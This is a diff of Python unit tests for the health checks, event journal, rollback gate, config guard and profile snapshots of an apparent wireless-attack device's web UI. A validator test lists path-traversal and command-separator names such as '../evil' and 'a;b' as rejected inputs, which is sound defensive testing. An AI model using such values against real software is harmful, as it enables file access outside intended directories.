+        step = self.steps(report, 'recon DB readable')[0]
+        self.assertEqual(step['ok'], 'pass')
+        self.assertIn('(1 scans)', step['detail'])
+
+    def test_wlan0_pinned_warns(self):
+        self.safe_set()
+        self.uci_state['wireless.wlan0wpa.disabled'] = '0'
+        report = server.env_check()
+        self.assertEqual(self.steps(report, '2.4GHz under-sampled')[0]['ok'], 'warn')
+
+    def test_wlan0_not_pinned_when_absent(self):
+        self.safe_set()
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'no radio0 AP pins wlan0mon')[0]['ok'], 'pass')
+
+    def test_wlan0_not_pinned_when_disabled(self):
+        self.safe_set()
+        self.uci_state['wireless.wlan0open.disabled'] = '1'
+        self.uci_state['wireless.wlan0wpa.disabled'] = '1'
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'no radio0 AP pins wlan0mon')[0]['ok'], 'pass')
+
+    def test_sta_uplink_warns_when_enabled_without_mutating(self):
+        self.safe_set()
+        self.uci_state['wireless.dummy_radio0.mode'] = 'sta'
+        self.uci_state['wireless.dummy_radio0.ifname'] = 'wlan0'
+        self.uci_state['wireless.dummy_radio0.disabled'] = '0'
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'dummy_radio0 STA uplink is enabled')[0]['ok'], 'warn')
+        self.assertEqual(self.uci_state['wireless.dummy_radio0.disabled'], '0')
+        self.assertNotIn(['ip', 'link', 'set', 'wlan0', 'down'], self.runs)
+        self.assertNotIn(['wifi', 'reload'], self.runs)
+        self.assertFalse(any(
+            a[:2] == ['uci', 'set'] and 'dummy_radio0' in a[2]
+            for a in self.runs if len(a) > 2))
+
+    def test_sta_uplink_pass_when_absent(self):
+        self.safe_set()
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'no STA uplink pinning phy0')[0]['ok'], 'pass')
+
+    def test_sta_uplink_pass_when_disabled(self):
+        self.safe_set()
+        self.uci_state['wireless.dummy_radio0.mode'] = 'sta'
+        self.uci_state['wireless.dummy_radio0.disabled'] = '1'
+        report = server.env_check()
+        self.assertEqual(self.steps(report, 'no STA uplink pinning phy0')[0]['ok'], 'pass')
+
+    def test_recon_status_exposes_sta(self):
+        self.safe_set()
+        self.uci_state['wireless.dummy_radio0.mode'] = 'sta'
+        status, payload = server.h_recon_status(type('C', (), {'query': {}})())
+        self.assertEqual(status, 200)
+        self.assertTrue(payload['wlan0_sta'])
+
+    def test_cli_exits_zero_on_pass(self):
+        self.safe_set()
+        buf = io.StringIO()
+        with redirect_stdout(buf):
+            code = server.env_check_cli()
+        self.assertEqual(code, 0)
+        self.assertIn('[PASS]', buf.getvalue())
+        self.assertIn('ENVIRONMENT CHECK: PASS', buf.getvalue())
+
+    def test_cli_exits_one_on_fail(self):
+        self.safe_set()
+        self.daemon_ok = False
+        buf = io.StringIO()
+        with redirect_stdout(buf):
+            code = server.env_check_cli()
+        self.assertEqual(code, 1)
+        self.assertIn('[FAIL]', buf.getvalue())
+
+    def test_startup_check_retries_core_failure(self):
+        reports = [
+            [{'ok': 'fail', 'detail': 'daemon unreachable'}],
+            [{'ok': 'pass', 'detail': 'daemon reachable'}],
+        ]
+        old_check = server.env_check
+        old_sleep = server.time.sleep
+
+        def check():
+            report = reports.pop(0)
+            server.ENV_CHECK_STATE['overall'] = report[0]['ok']
+            return report
+
+        server.env_check = check
+        server.time.sleep = lambda seconds: None
+        try:
+            result = server.startup_env_check(attempts=2, delay=0)
+        finally:
+            server.env_check = old_check
+            server.time.sleep = old_sleep
+        self.assertEqual(result[0]['ok'], 'pass')
+
+    def test_startup_check_raises_after_retries(self):
+        old_check = server.env_check
+        old_sleep = server.time.sleep
+
+        def check():
+            server.ENV_CHECK_STATE['overall'] = 'fail'
+            return [{'ok': 'fail', 'detail': 'daemon unreachable'}]
+
+        server.env_check = check
+        server.time.sleep = lambda seconds: None
+        try:
+            with self.assertRaises(RuntimeError):
+                server.startup_env_check(attempts=2, delay=0)
+        finally:
+            server.env_check = old_check
+            server.time.sleep = old_sleep
+
+    def test_health_exposes_env_and_pool_runtime(self):
+        self.safe_set()
+        server.env_check()
+        status, payload = server.h_health(type('C', (), {'query': {}})())
+        self.assertEqual(status, 200)
+        self.assertEqual(payload['pool_runtime'], 'disabled')
+        self.assertEqual(payload['env']['overall'], 'pass')
+        self.assertEqual(payload['env']['counts']['pass'], len(payload['env']['steps']))
+
+    def test_recon_status_exposes_wlan0_pinned(self):
+        self.safe_set()
+        self.uci_state['wireless.wlan0open.disabled'] = '0'
+        status, payload = server.h_recon_status(type('C', (), {'query': {}})())
+        self.assertEqual(status, 200)
+        self.assertTrue(payload['wlan0_pinned'])
+
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_health.py

@@ -1,6 +1,7 @@
 import os
 import sys
 import unittest
+from unittest import mock
 
 sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
 import server
@@ -14,6 +15,7 @@ class HealthCheckTest(unittest.TestCase):
     def setUp(self):
         self.runs = []
         self.ping_ok = True
+        self.ip_link_ok = True
         self.sigsegvs = 0
         self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
         self.uci_state = {}
@@ -32,6 +34,11 @@ class HealthCheckTest(unittest.TestCase):
                 return (1, '', '')
             if a[0] == 'logread':
                 return (0, 'SIGSEGV\n' * self.sigsegs if hasattr(self, 'sigsegs') else '', '')
+            if a[:3] == ['ip', 'link', 'set']:
+                if self.ip_link_ok:
+                    self.iface_up[a[3]] = True
+                    return (0, '', '')
+                return (1, '', 'interface unavailable')
             if a[:2] == ['uci', 'set']:
                 k, _, v = a[2].partition('=')
                 self.uci_state[k] = v
@@ -67,12 +74,15 @@ class HealthCheckTest(unittest.TestCase):
         self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], [r[0] for r in self.runs])
         self.assertEqual(result['monitor_fixes'], 1)
 
-    def test_down_with_growing_sigsegv_disables_pool(self):
+    def test_down_restarts_pineapd_without_rewriting_uci(self):
         self.ping_ok = False
         self.sigsegs = 5
+        self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
         result = server.health_check()
-        self.assertIn('pool broadcast disabled', result['last_action'])
-        self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
+        self.assertEqual(result['last_action'], 'pineapd restart')
+        self.assertNotIn('pineapd.@ssidpool[0].disable', self.uci_state)
+        self.assertEqual(self.uci_state['pineapd.@ssidpool[0].ssid'], 'QmVlcg==')
+        self.assertFalse(any(r[0][:2] == ['uci', 'set'] for r in self.runs))
         self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
         self.assertEqual(result['fixes'], 1)
 
@@ -88,21 +98,15 @@ class HealthCheckTest(unittest.TestCase):
         self.assertEqual(result['last_action'], 'pineapd restart')
         self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
 
-    def test_down_stabilizes_known_crash_sources(self):
-        self.ping_ok = False
-        self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
-        result = server.health_check()
-        self.assertEqual(self.uci_state['pineapd.wlan2mon.disable'], '1')
-        self.assertEqual(self.uci_state['pineapd.wlan1mon.bands'], '5')
-        self.assertIn('stabilized', result['last_action'])
-
-    def test_down_clears_refilled_pool_list(self):
+    def test_down_does_not_stabilize_or_clear_pool(self):
         self.ping_ok = False
         self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
         self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
         result = server.health_check()
-        self.assertNotIn('pineapd.@ssidpool[0].ssid', self.uci_state)
-        self.assertIn('pool-list cleared', result['last_action'])
+        self.assertEqual(result['last_action'], 'pineapd restart')
+        self.assertEqual(self.uci_state['pineapd.@ssidpool[0].ssid'], 'QmVlcg==')
+        self.assertNotIn('pineapd.wlan2mon.disable', self.uci_state)
+        self.assertNotIn('pineapd.wlan1mon.bands', self.uci_state)
 
     def test_down_without_crash_brings_monitors_up(self):
         self.ping_ok = False
@@ -112,12 +116,12 @@ class HealthCheckTest(unittest.TestCase):
         self.assertEqual(result['last_action'], 'monitor interfaces brought up')
         self.assertIn(['ip', 'link', 'set', 'wlan1mon', 'up'], [r[0] for r in self.runs])
 
-    def test_down_disables_pool_regardless_of_sigsegv_history(self):
+    def test_down_does_not_disable_pool_regardless_of_sigsegv_history(self):
         self.ping_ok = False
         server._health['sigsegv_last'] = 4
         result = server.health_check()
-        self.assertIn('SSID pool broadcast disabled', result['last_action'])
-        self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
+        self.assertEqual(result['last_action'], 'pineapd restart')
+        self.assertNotIn('pineapd.@ssidpool[0].disable', self.uci_state)
 
     def test_fix_cooldown_prevents_thrash(self):
         self.ping_ok = False
@@ -136,5 +140,171 @@ class HealthCheckTest(unittest.TestCase):
         self.assertIn('pool_disabled', payload)
 
 
+class SupervisorExtrasTest(unittest.TestCase):
+    def runTestWith(self):  # helper: reuse existing setUp fake_run
+        pass
+
+    def test_mem_percent_math(self):
+        import tempfile
+        content = 'MemTotal:  250000 kB\nMemAvailable: 100000 kB\n'
+        path = tempfile.mktemp()
+        open(path, 'w').write(content)
+        self.assertEqual(server._mem_percent(path), 60)
+
+    def test_health_reparks_resurrected_dummy_sta(self):
+        server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
+        with mock.patch.object(
+                server, '_sta_uplink_enabled', return_value=True), \
+             mock.patch.object(
+                server, '_park_dummy_sta') as park, \
+             mock.patch.object(
+                server, '_raise_monitors', return_value=[]), \
+             mock.patch('mk8_guard.reconcile',
+                        return_value={'changed': [], 'pool_cleared': False,
+                                      'monitors_raised': []}) as rec:
+            h = server.health_check()
+            park.assert_called_once()
+            rec.assert_called_once()
+            self.assertEqual(server._health['ticks'],
+                             server.HEALTH_STA_PARK_INTERVAL)
+        # not on interval ticks: no re-park, no reconcile
+        server._health['ticks'] = 1
+        with mock.patch.object(
+                server, '_sta_uplink_enabled', return_value=True), \
+             mock.patch.object(
+                server, '_park_dummy_sta') as park, \
+             mock.patch('mk8_guard.reconcile') as rec:
+            server.health_check()
+            park.assert_not_called()
+            rec.assert_not_called()
+
+    def test_health_reconcile_journals_changed_keys(self):
+        import mk8_events
+        events = []
+        old_log = mk8_events.log_event
+        old_run = server.device_run
+        old_iface = server._iface_up
+
+        def fake_run(args, timeout=20, input_data=None):
+            a = list(args)
+            if a[:2] == ['pidof', 'pineapd']:
+                return (0, '12345\n', '')
+            if a[:2] == ['ip', 'link', 'show']:
+                return (0, '4: wlan0mon: <UP> state unknown', '')
+            return (0, '', '')
+
+        mk8_events.log_event = lambda kind, **kw: events.append((kind, kw))
+        server.device_run = fake_run
+        server._iface_up = lambda name: True
+        old_ticks = server._health.get('ticks')
+        try:
+            server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
+            with mock.patch.object(server, '_sta_uplink_enabled',
+                                   return_value=False), \
+                 mock.patch.object(server, '_raise_monitors',
+                                   return_value=[]), \
+                 mock.patch('mk8_guard.reconcile',
+                            return_value={'changed':
+                                          ['pineapd.@pineapd[0].autossidpool'],
+                                          'pool_cleared': False,
+                                          'monitors_raised': []}):
+                server.health_check()
+            self.assertTrue(any(k == 'guard_fix' and 'autossidpool' in kw.get('msg', '')
+                                for k, kw in events))
+        finally:
+            mk8_events.log_event = old_log
+            server.device_run = old_run
+            server._iface_up = old_iface
+            if old_ticks is None:
+                server._health.pop('ticks', None)
+            else:
+                server._health['ticks'] = old_ticks
+
+    def test_health_reports_events_and_counters(self):
+        import mk8_events
+        mk8_events.log_event('restart', msg='x')
+        status, h = server.h_health(None)
+        self.assertEqual(status, 200)
+        self.assertIn('events', h)
+        self.assertIn('boots', h['reliability'])
+
+    def test_boot_marker_detects_unexpected(self):
+        import mk8_events, tempfile, os
+        marker = tempfile.mktemp()
+        old = server.BOOT_MARKER
+        server.BOOT_MARKER = marker
+        try:
+            open(marker, 'w').write('0')
+            self.assertTrue(server.check_boot_marker())
+            os.unlink(marker)
+            self.assertFalse(server.check_boot_marker())
+        finally:
+            server.BOOT_MARKER = old
+
+
 if __name__ == '__main__':
     unittest.main()
+
+
+class HopBaselineTest(unittest.TestCase):
+    def setUp(self):
+        self.runs = []
+        self.old_run = server.device_run
+        self.old_iface = server._iface_up
+        server._iface_up = lambda name: True
+
+        def fake_run(args, timeout=20, input_data=None):
+            a = list(args)
+            self.runs.append(a)
+            if a[:2] == ['pidof', 'pineapd']:
+                return (0, '123\n', '')
+            if a[:3] == ['uci', 'get', 'pineapd.wlan1mon.hop']:
+                return (0, self.hop + '\n', '')
+            return (0, '', '')
+
+        server.device_run = fake_run
+        self.hop = '0'
+
+    def tearDown(self):
+        server.device_run = self.old_run
+        server._iface_up = self.old_iface
+        server._health['ticks'] = 0
+
+    def test_resume_called_when_not_held(self):
+        import unittest.mock as um
+        old_held = server._HOP_PAUSE_HELD
+        server._HOP_PAUSE_HELD = False
+        server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
+        try:
+            with mock.patch.object(server, '_sta_uplink_enabled',
+                                   return_value=False), \
+                 mock.patch.object(server, '_raise_monitors',
+                                   return_value=[]), \
+                 mock.patch('mk8_guard.reconcile',
+                            return_value={'changed': [], 'pool_cleared': False,
+                                          'monitors_raised': []}):
+                server.health_check()
+            sets = [r for r in self.runs
+                    if r[:3] == ['uci', 'set', 'pineapd.wlan1mon.hop=1']]
+            self.assertEqual(len(sets), 1)
+        finally:
+            server._HOP_PAUSE_HELD = old_held
+
+    def test_resume_skipped_while_pause_held(self):
+        old_held = server._HOP_PAUSE_HELD
+        server._HOP_PAUSE_HELD = True
+        server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
+        try:
+            with mock.patch.object(server, '_sta_uplink_enabled',
+                                   return_value=False), \
+                 mock.patch.object(server, '_raise_monitors',
+                                   return_value=[]), \
+                 mock.patch('mk8_guard.reconcile',
+                            return_value={'changed': [], 'pool_cleared': False,
+                                          'monitors_raised': []}):
+                server.health_check()
+            sets = [r for r in self.runs
+                    if r[:3] == ['uci', 'set', 'pineapd.wlan1mon.hop=1']]
+            self.assertEqual(len(sets), 0)
+        finally:
+            server._HOP_PAUSE_HELD = old_held

tests/test_misc.py

@@ -153,6 +153,26 @@ class LoggingTest(unittest.TestCase):
         self.assertEqual(server._line_count(
             type('C', (), {'query': {'lines': '-10'}})(), 200), 0)
 
+    def test_system_uses_bounded_logread(self):
+        calls = []
+
+        def fake(args, timeout=20, input_data=None):
+            calls.append(list(args))
+            return (0, '\n'.join('line%d' % i for i in range(20)), '')
+
+        server.device_run = fake
+        status, payload = server.h_logging_system(type('C', (), {
+            'args': (), 'query': {'lines': '5'}})())
+        self.assertEqual(status, 200)
+        self.assertEqual(len(payload['lines']), 5)
+        self.assertTrue(calls)
+        self.assertEqual(calls[0][:2], ['logread', '-l'])
+
+    def test_json_or_and_pool_list_tolerate_empty(self):
+        self.assertIsNone(server._json_or(None))
+        self.assertEqual(server._parse_pool_list(None), [])
+        self.assertEqual(server._unique_keep_order(['a', '', 'a', 'b']), ['a', 'b'])
+
 
 class SettingsTest(unittest.TestCase):
     def test_hostname_get(self):

tests/test_mk8_events.py

@@ -0,0 +1,90 @@
+import json, os, sys, tempfile, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import mk8_events
+
+class EventsTest(unittest.TestCase):
+    def setUp(self):
+        self.dir = tempfile.mkdtemp()
+        self.old = mk8_events.MK8_DIR
+        mk8_events.MK8_DIR = self.dir
+        mk8_events.EVENTS_PATH = os.path.join(self.dir, 'events.log')
+
+    def tearDown(self):
+        mk8_events.MK8_DIR = self.old
+        mk8_events.EVENTS_PATH = os.path.join(self.old, 'events.log')
+        mk8_events.MAX_BYTES = 5 * 1024 * 1024
+
+    def test_log_and_read_newest_first(self):
+        mk8_events.log_event('boot', msg='first')
+        mk8_events.log_event('rollback', sev='warn', msg='second', meta={'op': 'wifi'})
+        rows = mk8_events.read_events()
+        self.assertEqual(rows[0]['kind'], 'rollback')
+        self.assertEqual(rows[1]['kind'], 'boot')
+        self.assertEqual(rows[0]['meta'], {'op': 'wifi'})
+
+    def test_counters(self):
+        mk8_events.log_event('boot'); mk8_events.log_event('rollback')
+        mk8_events.log_event('restart'); mk8_events.log_event('guard_fix')
+        c = mk8_events.counters()
+        self.assertEqual(c['boots'], 1)
+        self.assertEqual(c['rollbacks'], 1)
+        self.assertEqual(c['restarts'], 1)
+        self.assertEqual(c['guard_fixes'], 1)
+
+    def test_snapshot_bounded_and_counts(self):
+        # Deterministic window: 3 restarts (oldest, outside the scan window),
+        # then 40 ticks, then 1 boot LAST so the newest-first window of 30
+        # includes it.
+        for _ in range(3):
+            mk8_events.log_event('restart', msg='old')
+        for i in range(40):
+            mk8_events.log_event('tick', msg='t%d' % i)
+        mk8_events.log_event('boot', msg='final boot')
+        snap = mk8_events.snapshot(event_limit=5, scan=30)
+        self.assertLessEqual(len(snap['events']), 5)
+        ev = snap['events']
+        tss = [r.get('ts', 0) for r in ev]
+        self.assertEqual(tss, sorted(tss, reverse=True), 'must be newest-first')
+        self.assertEqual(ev[0]['kind'], 'boot')
+        rel = snap['reliability']
+        self.assertEqual(rel['boots'], 1,
+                         'boot is inside the scanned window')
+        self.assertEqual(rel['restarts'], 0,
+                         'counters must cover only the bounded window')
+        self.assertEqual(rel['unexpected_boots'], 0)
+        # Full-journal counters() stays available and unbounded for callers
+        # that want it.
+        self.assertEqual(mk8_events.counters()['restarts'], 3)
+
+    def test_snapshot_spans_rotation(self):
+        mk8_events.MAX_BYTES = 200
+        for i in range(8):
+            mk8_events.log_event('tick', msg='x' * 20)
+            if i == 3:
+                mk8_events.log_event('rollback', sev='warn', msg='mid')
+        rotated = [i for i in range(1, mk8_events.KEEP + 1)
+                   if os.path.exists(mk8_events.EVENTS_PATH + '.%d' % i)]
+        self.assertGreaterEqual(len(rotated) + 1, 2,
+                                'journal must actually rotate here')
+        snap = mk8_events.snapshot(event_limit=100, scan=1000)
+        # Snapshot must span every rotated generation read_events sees.
+        self.assertEqual(len(snap['events']),
+                         len(mk8_events.read_events(limit=1000)))
+        tss = [r.get('ts', 0) for r in snap['events']]
+        self.assertEqual(tss, sorted(tss, reverse=True))
+        kinds = {r['kind'] for r in snap['events']}
+        self.assertEqual(kinds, {'tick', 'rollback'})
+        self.assertEqual(snap['reliability']['rollbacks'], 1)
+
+    def test_rotation_keeps_recent(self):
+        mk8_events.MAX_BYTES = 200
+        for i in range(20):
+            mk8_events.log_event('tick', msg='x' * 30)
+        rows = mk8_events.read_events()
+        self.assertGreater(len(rows), 0)
+        self.assertLessEqual(len(rows), 20)
+        self.assertTrue(os.path.exists(mk8_events.EVENTS_PATH + '.1'))
+        self.assertFalse(os.path.exists(mk8_events.EVENTS_PATH + '.5'))
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_mk8_gate.py

@@ -0,0 +1,73 @@
+import os, sys, types, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import mk8_gate
+
+
+class DecisionTest(unittest.TestCase):
+    def tick(self, state):
+        action, new = mk8_gate.watchdog_decision(state)
+        return action, new
+
+    def test_no_action_below_fail_threshold(self):
+        action, s = self.tick({'fails': 5, 'oks': 0, 'tripped': False})
+        self.assertIsNone(action)
+        self.assertFalse(s['tripped'])
+
+    def test_rollback_at_threshold(self):
+        action, s = self.tick({'fails': 6, 'oks': 0, 'tripped': False})
+        self.assertEqual(action, 'rollback')
+        self.assertTrue(s['tripped'])
+        self.assertEqual(s['oks'], 0)
+
+    def test_promote_after_recovery(self):
+        action, s = self.tick({'fails': 6, 'oks': 6, 'tripped': True})
+        self.assertEqual(action, 'promote')
+
+    def test_no_promote_before_recovery_threshold(self):
+        action, s = self.tick({'fails': 6, 'oks': 5, 'tripped': True})
+        self.assertIsNone(action)
+
+
+class EnterTest(unittest.TestCase):
+    def setUp(self):
+        self.addCleanup(setattr, mk8_gate, 'ENABLED', mk8_gate.ENABLED)
+        self.spawned = []
+
+    def _install_fake_profiles(self):
+        snaps = []
+        fake = types.ModuleType('mk8_profiles')
+        fake.auto_name = lambda op: 'pre-%s-42' % op
+        fake.snapshot = lambda name: (snaps.append(name), True)[1]
+        old = sys.modules.get('mk8_profiles')
+        sys.modules['mk8_profiles'] = fake
+        self.addCleanup(sys.modules.__setitem__, 'mk8_profiles', old)
+        return snaps
+
+    def _capture_popen(self):
+        cmds = []
+        old = mk8_gate.subprocess.Popen
+        mk8_gate.subprocess.Popen = lambda cmd, **kw: cmds.append(cmd)
+        self.addCleanup(setattr, mk8_gate.subprocess, 'Popen', old)
+        return cmds
+
+    def test_enter_disabled_is_noop(self):
+        mk8_gate.ENABLED = False
+        cmds = self._capture_popen()
+        snaps = self._install_fake_profiles()
+        self.assertIsNone(mk8_gate.enter('ap_change'))
+        self.assertEqual(snaps, [])
+        self.assertEqual(cmds, [])
+
+    def test_enter_enabled_snapshots_and_spawns(self):
+        mk8_gate.ENABLED = True
+        cmds = self._capture_popen()
+        snaps = self._install_fake_profiles()
+        name = mk8_gate.enter('attack_deploy')
+        self.assertEqual(name, 'pre-attack_deploy-42')
+        self.assertEqual(snaps, [name])
+        self.assertEqual(len(cmds), 1)
+        self.assertIn('setsid sh', cmds[0])
+        self.assertIn(name, cmds[0])
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_mk8_guard.py

@@ -0,0 +1,144 @@
+import os, sys, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import server
+import mk8_guard
+
+HOP_KEY = 'pineapd.wlan1mon.hop'
+
+class GuardTest(unittest.TestCase):
+    def setUp(self):
+        self.calls = []
+        self.uci = {}
+        self.pool = 0
+        self.mon_up = {'wlan0mon': True, 'wlan1mon': True}
+        self.old_iface_up = server._iface_up
+        self.old_server_device_run = server.device_run
+        self.old_guard_device_run = mk8_guard.device_run
+        server._iface_up = lambda name: self.mon_up.get(name, True)
+
+        def fake_run(args, timeout=20, input_data=None):
+            a = list(args)
+            self.calls.append(a)
+            if a[:2] == ['uci', 'get']:
+                key = a[2]
+                if key == 'pineapd.@ssidpool[0].ssid':
+                    return (0, ''.join('s%d\n' % i for i in range(self.pool)), '')
+                return (0, self.uci.get(key, '') + '\n', '')
+            if a[:2] == ['uci', 'set']:
+                k, _, v = a[2].partition('=')
+                self.uci[k] = v
+            if a[:2] == ['uci', 'delete']:
+                self.pool = 0
+            return (0, '', '')
+        mk8_guard.device_run = fake_run
+        server.device_run = fake_run
+        mk8_guard._GR_CACHE['data'] = None
+
+    def tearDown(self):
+        server._iface_up = self.old_iface_up
+        server.device_run = self.old_server_device_run
+        mk8_guard.device_run = self.old_guard_device_run
+        mk8_guard._GR_CACHE['data'] = None
+
+    def wanted_count(self):
+        # Safe set minus wlan1mon.hop (rfplan owns hop), plus WANTED_EXTRA.
+        return (len(server.PINEAPD_SAFE_UCI) - 1 +
+                len(mk8_guard.WANTED_EXTRA))
+
+    def test_applies_all_wanted_when_missing(self):
+        self.pool = 0
+        result = mk8_guard.reconcile(clear_pool=False)
+        sets = [c[2] for c in self.calls if c[:2] == ['uci', 'set']]
+        self.assertEqual(len(sets), self.wanted_count())
+        self.assertTrue(result['changed'])
+        self.assertNotIn(HOP_KEY, {c[2].partition('=')[0]
+                                   for c in self.calls
+                                   if c[:2] == ['uci', 'set']})
+
+    def test_wanted_excludes_hop(self):
+        wanted = mk8_guard._wanted()
+        self.assertNotIn(HOP_KEY, wanted)
+        self.assertEqual(len(wanted), self.wanted_count())
+
+    def test_clears_large_pool_only(self):
+        self.pool = 25
+        result = mk8_guard.reconcile(clear_pool=True)
+        self.assertTrue(result['pool_cleared'])
+        self.assertIn(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'], self.calls)
+
+    def test_small_pool_untouched(self):
+        self.pool = 5
+        result = mk8_guard.reconcile(clear_pool=True)
+        self.assertFalse(result['pool_cleared'])
+
+    def test_report_ignores_hop_and_caches(self):
+        for key, value in mk8_guard._wanted().items():
+            self.uci[key] = value
+        self.uci[HOP_KEY] = '1'  # attack-role baseline; must stay ignored
+        report = mk8_guard.guard_report()
+        self.assertTrue(report['in_sync'], report)
+        gets = [c[2] for c in self.calls if c[:2] == ['uci', 'get']]
+        self.assertNotIn(HOP_KEY, gets)
+        n_after_first = len(self.calls)
+        self.assertIs(mk8_guard.guard_report(), report)
+        self.assertEqual(len(self.calls), n_after_first,
+                         'guard_report must serve from cache within TTL')
+        mk8_guard._GR_CACHE['t'] -= mk8_guard.GR_TTL_SECONDS * 2
+        mk8_guard.guard_report()
+        self.assertGreater(len(self.calls), n_after_first)
+        # reconcile mutates live state; it must invalidate the cached report.
+        mk8_guard.guard_report()
+        n_cached = len(self.calls)
+        mk8_guard.reconcile(clear_pool=False)
+        self.assertIsNone(mk8_guard._GR_CACHE['data'])
+        mk8_guard.guard_report()
+        self.assertGreater(len(self.calls), n_cached)
+
+if __name__ == '__main__':
+    unittest.main()
+
+
+class SectionRecreateTest(unittest.TestCase):
+    def setUp(self):
+        self.calls = []
+        self.uci = {}
+        self.old_server_run = server.device_run
+        self.old_iface = server._iface_up
+        server._iface_up = lambda name: True
+
+        def fake_run(args, timeout=20, input_data=None):
+            a = list(args)
+            self.calls.append(a)
+            if a[:3] == ['uci', '-q', 'show']:
+                return (1, '', '')  # section missing
+            if a[:2] == ['uci', 'get']:
+                got = self.uci.get(a[2])
+                return (0, (got if got is not None else '') + '\n', '')
+            if a[:2] == ['uci', 'set']:
+                k, _, v = a[2].partition('=')
+                self.uci[k] = v
+            return (0, '', '')
+
+        def dual_run(args, timeout=20, input_data=None):
+            # install the same fake for server-side helpers
+            self.__dict__.setdefault('_srv', server)
+            return fake_run(args, timeout=timeout, input_data=input_data)
+
+        mk8_guard.device_run = fake_run
+        server.device_run = fake_run
+
+    def tearDown(self):
+        server.device_run = self.old_server_run
+        server._iface_up = self.old_iface
+
+    def test_recreates_missing_pineapd_section(self):
+        result = mk8_guard.reconcile(clear_pool=False)
+        self.assertIn(['uci', 'add', 'pineapd', 'pineapd'], self.calls)
+        self.assertTrue(any('section recreated' in c for c in result['changed']))
+        sets = [c for c in self.calls if c[:2] == ['uci', 'set']]
+        self.assertEqual(len(sets),
+                         len(server.PINEAPD_SAFE_UCI) - 1
+                         + len(mk8_guard.WANTED_EXTRA))
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_mk8_profiles.py

@@ -0,0 +1,84 @@
+import os, sys, tempfile, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import mk8_profiles
+
+CONFIGS = ('pineapd', 'wireless', 'network')
+
+class ProfilesTest(unittest.TestCase):
+    def setUp(self):
+        self.dir = tempfile.mkdtemp()
+        mk8_profiles.PROFILES_DIR = os.path.join(self.dir, 'profiles')
+        self.state = {'pineapd': 'config pineapd\n\toption x y\n',
+                      'wireless': 'config wireless\n',
+                      'network': 'config network\n'}
+        def fake_run(args, timeout=20, input_data=None):
+            a = list(args)
+            if a[:2] == ['uci', 'import']:
+                self.imports = getattr(self, 'imports', [])
+                self.imports.append((a[2], input_data))
+                return (0, '', '')
+            if a[:2] == ['uci', 'export']:
+                return (0, self.state.get(a[2], ''), '')
+            if a[:2] == ['uci', 'commit']:
+                return (0, '', '')
+            return (0, '', '')
+        self.runs = []
+        mk8_profiles.run_cmd = lambda args, timeout=20, input_data=None: (
+            self.runs.append(list(args)) or fake_run(args, timeout, input_data))
+
+    def test_snapshot_and_list(self):
+        self.assertTrue(mk8_profiles.snapshot('testprof'))
+        self.assertIn('testprof', mk8_profiles.list_profiles())
+
+    def test_restore_issues_import_per_config(self):
+        mk8_profiles.snapshot('p1')
+        ok = mk8_profiles.restore('p1')
+        self.assertTrue(ok['ok'])
+        imported = [r for r in self.runs if r[:2] == ['uci', 'import']]
+        self.assertEqual(len(imported), len(CONFIGS))
+        commits = [r for r in self.runs if r[:2] == ['uci', 'commit']]
+        self.assertGreaterEqual(len(commits), 1)
+        self.assertIn(('pineapd', 'config pineapd\n\toption x y\n'),
+                      self.imports)
+        self.assertEqual(ok['restored'], list(CONFIGS))
+
+    def test_auto_name_format(self):
+        name = mk8_profiles.auto_name('client_connect')
+        self.assertTrue(name.startswith('pre-client_connect-'))
+
+    def test_promote_lastknown_good(self):
+        self.assertTrue(mk8_profiles.promote_lastknown_good())
+        self.assertIn(mk8_profiles.LASTKNOWN_GOOD,
+                      mk8_profiles.list_profiles())
+        again = mk8_profiles.promote_lastknown_good()
+        self.assertTrue(again)
+
+    def test_snapshot_false_when_nothing_written(self):
+        self.state = {}
+        self.assertFalse(mk8_profiles.snapshot('empty'))
+
+    def test_path_rejects_traversal_and_bad_names(self):
+        for bad in ('../x', '..', 'a/b', '', 'a' * 65, './x', 'x/..',
+                    'a b', 'a;b', None):
+            with self.assertRaises(ValueError):
+                mk8_profiles._path(bad)
+
+    def test_path_accepts_safe_names(self):
+        for good in ('p', 'pre-client_connect-123', 'lastknown-good',
+                     'A.b-c_d', 'x' * 64, '0'):
+            path = mk8_profiles._path(good)
+            self.assertEqual(path, os.path.join(mk8_profiles.PROFILES_DIR,
+                                                good))
+
+    def test_snapshot_rejects_bad_name_without_side_effects(self):
+        with self.assertRaises(ValueError):
+            mk8_profiles.snapshot('../evil')
+        self.assertEqual(mk8_profiles.list_profiles(), [])
+
+    def test_list_profiles_skips_invalid_dirnames(self):
+        mk8_profiles.snapshot('good')
+        os.mkdir(os.path.join(mk8_profiles.PROFILES_DIR, 'bad name'))
